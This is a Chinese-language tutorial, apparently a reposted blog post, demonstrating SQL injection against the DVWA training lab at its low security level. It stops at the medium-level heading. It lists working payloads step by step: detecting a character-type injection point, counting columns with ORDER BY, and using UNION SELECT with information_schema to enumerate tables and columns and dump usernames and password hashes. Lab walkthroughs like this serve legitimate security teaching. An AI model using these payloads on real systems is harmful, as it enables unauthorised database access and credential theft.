(本文不定期更新)
一、所需环境:
1.DVWA
2.web环境 phpstudy/wamp
3.burp suite
二、SQL注入产生的原因:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作。
三、关于SQL注入需要注意的几个点:
1.SQL注入的攻击流程:
(1)判断注入点:一般分为三大类 GET、POST参数触发SQL注入,Cookie触发注入
(2)判断注入类型:数字型、字符型、搜索型等
(3)判断数据库类型
(4)获取数据库数据,提权
四、下面演示DVWA的SQL injection模块(显注):
1.low级别的SQL注入:
输入1,查询成功。
输入 1 and 1=1 查询成功
输入1 and 1=2 查询成功(说明不是数字型,因为1 and 1=2 在and右边1=2的值是false,如果是数字型,此时应该不会查到东西)
下面验证是否是字符型注入,输入 1‘ and ‘1‘ = ‘1 查询成功
输入1‘ and ’1‘ = ’2 没查到东西 说明是字符型注入
2.猜解SQL查询语句中的字段数/:
输入 1‘ order by 2# 查询成功,#用来注释掉参数后面的单引号
输入 1‘ order by 3# 查询失败 说明只有两个字段,Firstname 和Surname
3.确定显示的字段顺序,这里用union select 联合查询。
输入 1‘ union select 1,2 #
4.获取当前数据库,输入 1‘ union select 1,database()# 其中database()是获取当前连接的数据库的函数。
通常from后面都会有一个表名 比如 admin id user之类的union select 1,2 from 这里1,2说明只有两个字段 那么再继续这个语句从from后面的哪个表里面查然后返回页面就会返回1,2这几个数字中的其中几个在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本比如返回 1 那么你把1 替换成user() database() version() 的其中一个也就是 union select user(), 2 这样就可以在页面上爆出 用户名 绝对路径之类的 函数名等。
这里爆出当前连接的数据库为dvwa
5.获取数据库中所有的表:
输入:1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
说明数据库中只有两个表,guestbook users
6.获取表中的字段名:
输入:1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users‘ #
可以看到有好多个字段,而我们只需要几个就可以了,user_id,firstname,password
7.获得数据:
输入:1‘ union select group_concat(user_id,first_name),group_concat(password) from users #
8.获取账户密码:
上面的surname中就是密码,因为都是经过加密需要网上解密一下,我们取Gordon这个用户密码进行验证。
到此就拿到了用户名和密码。
2.中级:
原文地址:https://www.cnblogs.com/Zh1z3ven/p/12396800.html